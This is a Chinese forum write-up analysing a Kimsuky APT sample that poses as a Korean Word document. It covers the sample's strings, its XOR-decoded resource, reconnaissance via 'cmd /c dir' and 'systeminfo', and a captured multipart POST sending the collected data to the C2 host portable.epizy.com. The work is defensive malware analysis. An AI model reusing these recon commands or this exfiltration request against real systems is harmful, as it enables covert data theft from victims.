一个KimsukyAPT样本分析

admin

101398
文章

87
评论

2020年9月27日18:30:47评论222 views字数 5449阅读18分9秒阅读模式

一个KimsukyAPT样本分析

本文为看雪论坛精华文章

看雪论坛作者ID：LarryS

目录
一. 基础静态分析获取信息
1.1 字符串
1.2 导入函数
1.3 资源段信息
二. 基础动态分析获取信息
2.1 火绒剑的输出
2.2 Wireshark抓包结果
三. 详细分析
3.1 主程序
3.2 线程函数
3.2.1 sub_11B4250
3.2.2 sub_11B49E0
3.2.3 sub_11B45C0
四. 简单总结

这个是我看到（并未阅读）知道创宇发的一篇样本分析文章之后自己分析的这篇文章中提到的相关样本，算是我第一次独立完整的分析。

不好意思，MD5值复制错了

md5：28833e121bb77c8262996af1f2aeef55

附件密码：infected

一. 基础静态分析获取信息

1.1 字符串

mscoree.dll/c dir %s/ >> %s/c systeminfo >> %s/Microsoft/HNCwct.docxtcf.binportable.epizy.comimg/png/post.phpimg/png/download.phpimages01Content-Type: application/x-www-form-urlencodedMozilla/5.0Content-Disposition: form-data; name="MAX_FILE_SIZE"Content-Disposition: form-data; name="userfile"; filename="Content-Type: application/octet-streamContent-Type: multipart/form-data; boundary=----WebKitFormBoundarywhpFxMBe19cSjFnGAccept-Language: en-usMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; .NET CLR 1.1.4322)Host: %sReferer: http://%s%sJUYFON

从包含的字符串中可以看到一些命令行参数、URL路径、文件名、请求头部的内容，作为进一步分析的参考，除此之外，最后的JUYFON实际上是文件资源段中包含的一部分内容：

一个KimsukyAPT样本分析

1.2 导入函数

FindResourceASizeofResourceLoadResourceLockResource                // 验证了样本确实对资源段内容进行了操作IsDebuggerPresentOutputDebugStringWQueryPerformanceCounter        // 反调试？反虚拟机？FindCloseFindFirstFileExAFindNextFileA                // 文件夹遍历ShellExecuteExAShellExecuteA                // 命令执行CreateFileADeleteFileAWriteFile                    // 文件操作CreateThread                // 创建线程

1.3 资源段信息

可以看到里面有大段的7F，所以合理判断这段内容使用了异或编码，将其导出并使用7F解码后：

以PK开头，应该是一个zip文件。修改扩展名后打开，发现里面是这样的：

在网上查了一下，应该要把扩展名修改为docx，打开之后是一个韩文的文档，以下是翻译结果：

二. 基础动态分析获取信息

使用ApateDNS和Inetsim、nc搭建好一个虚拟的网络环境，Wireshark抓包，火绒剑进行监控。

样本执行后，打开的内容与上节中资源段发现的文档相同，样本伪装成了一个word文档，只不过电脑设置显示扩展名，所以可以看出它是一个exe文件。

2.1 火绒剑的输出

可以看到样本执行后在临时文件夹新建了一个文档（由于虚拟机语言是英文的，所以文档名显示不出来，资源管理器里面显示的是4.[酒怕楷备]稠巩捧绊痹沥.docx）。

经过计算，该文档的MD5值为dc2f8205b8dcfcfc8f2800d10a7c1499，与上节中资源段中提取出来的文档MD5值相同。

之后创建了进程WORDPAD.EXE（因为我的虚拟机没装WORD，所以它打开的是写字板），可以看到样本对进程内存进行了一些修改.

查看行为详情，发现它最终执行的是cmdline:'"C:/Program Files/Windows NT/Accessories/WORDPAD.EXE" "C:/Users/zoem/AppData/Local/Temp/4.[????]??????.docx"'，也就是说这里实现了样本伪装word文档的目的。

接下来是一系列的cmd.exe进程创建行为，并创建、修改了一个叫做wct.docx的文档，从行为详情中发现，命令行最终执行的是一系列cmdline:'"C:/Windows/system32/cmd.exe" 【参数】 >> C:/Users/zoem/AppData/Roaming/MICROS~1/HNC/wct.docx'的命令，具体的参数信息有：

/c dir C:/Users/zoem/Desktop//c dir C:/Users/zoem/AppData/Roaming/MICROS~1/Windows/Recent//c dir C:/PROGRA~1//c systeminfo

也就是说样本收集了所在主机中的部分文件信息以及硬件和系统配置信息，然后保存到了wct.docx文件中：

一个KimsukyAPT样本分析

最后样本连接了portable.epizy.com的80和8080端口，POST出去了一些数据，然后删除了wct.docx。所以合理怀疑这里就是把wct.docx中的内容发送出去了。

2.2 Wireshark抓包结果

数据内容：

POST http://portable.epizy.com/img/png/post.php HTTP/1.1Accept: */*Host: portable.epizy.comReferer: http://portable.epizy.comimg/png/post.phpContent-Type: multipart/form-data; boundary=----WebKitFormBoundarywhpFxMBe19cSjFnGAccept-Language: en-usUser-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; .NET CLR 1.1.4322)Content-Length: 5897Proxy-Connection: Keep-AlivePragma: no-cache

------WebKitFormBoundarywhpFxMBe19cSjFnGContent-Disposition: form-data; name="MAX_FILE_SIZE"
10000000------WebKitFormBoundarywhpFxMBe19cSjFnGContent-Disposition: form-data; name="userfile"; filename="images01"Content-Type: application/octet-stream
ªÓ¨møÂ|ÒÖ9)f    Ñ…………------WebKitFormBoundarywhpFxMBe19cSjFnG

可以看到样本发送出去了一个images01文件，文件的内容：

看来是被加密了。

三. 详细分析

3.1 主程序

在IDA中打开，start函数中定位到一个3个push+1个call的指令组合，而且还有400000h这个立即数，比较可疑，双击进入后可以看到一些库文件的加载以及资源段的处理，看来应该就是主程序了，将该函数重命名为main。

一个KimsukyAPT样本分析

main函数的开头分别加载了库文件kernel32.dll、Wininet.dll和advapi32.dll中的一些函数，然后加载了JUYFON资源段，同时在堆上分配了一个空间。

之后是对资源段的一些处理，这部分内容从代码看有些复杂，但是应该就是在做7F的异或，可以在Ollydbg中打开该样本进行动态分析，定位到资源段处理的这部分代码：

注：为了便于定位代码位置，可以在IDA中使用Edit->Segments->Rebase program修改基地址。

memory dump应该定位到堆分配的空间处。可以看到在两段循环结束后，堆分配空间中的内容是一段以PK开头的数据。第一段循环是以32字节为单位进行异或，第二段循环对剩下的23字节逐字节进行异或。

之后的流程就很明显了，样本先删除了临时文件夹中可能存在的docx文档（4.[酒怕楷备]稠巩捧绊痹沥.docx），然后重新创建该文档，并将资源段解码后的内容写入，然后释放分配的堆空间，打开该docx文档，然后创建了一个新线程，最后进入了一个无线循环。

3.2 线程函数

接下来看一下线程都干了些什么：

注：CreateDirectoryA和GetShortPathName是根据动态调试的结果自己修改的。

可以看到它创建了两个路径字符串，根据动态调试结果：

FileName: C:/Users/zoem/AppData/Roaming/MICROS~1/HNC/wct.docxbyte_11CDBB8: C:/Users/zoem/AppData/Roaming/MICROS~1/HNC/tcf.bin

之后主要由三个函数组成。

3.2.1 sub_11B4250

接下来调用了函数sub_11B4250：

可以看到它执行了一系列的参数为/c dir命令，和2.1 火绒剑的输出中获得的信息一致，样本将一些系统信息写入到了wct.docx文件中。

在调试器中执行到该函数末尾，然后可以查看wct.docx文件内容：

3.2.2 sub_11B49E0

然后看第二个函数sub_11B49E0：

可以看到函数主体中包含了很多之前wireshark抓包中数据包的内容，所以这个函数应该就是在构建这个数据包进行发送。

函数一开始获取了wct.docx文件中的内容：

在动态调试这个函数的时候遇到一个问题，OD在分析下面这段指令的时候：

即：

.text:010A4D1B F3 0F 7E 05 48 91 0B 01 movq    xmm0, qword ptr ds:aWebkitformboun+20h ;.text:010A4D23 66 0F D6 85 E8 FE FF FF movq    [ebp+var_118], xmm0

这两句指令无法正确识别，所以我临时换成了x32dbg继续进行分析。

当函数完成数据包的构造之后，执行到接近函数末尾的call xeyo.3E4DD0时，可以查看ebx指向的memory dump，其内容就是要发送的数据包的内容。

注：因为多次重新调试，基地址发生的变化，但是后四位的偏移是没变的。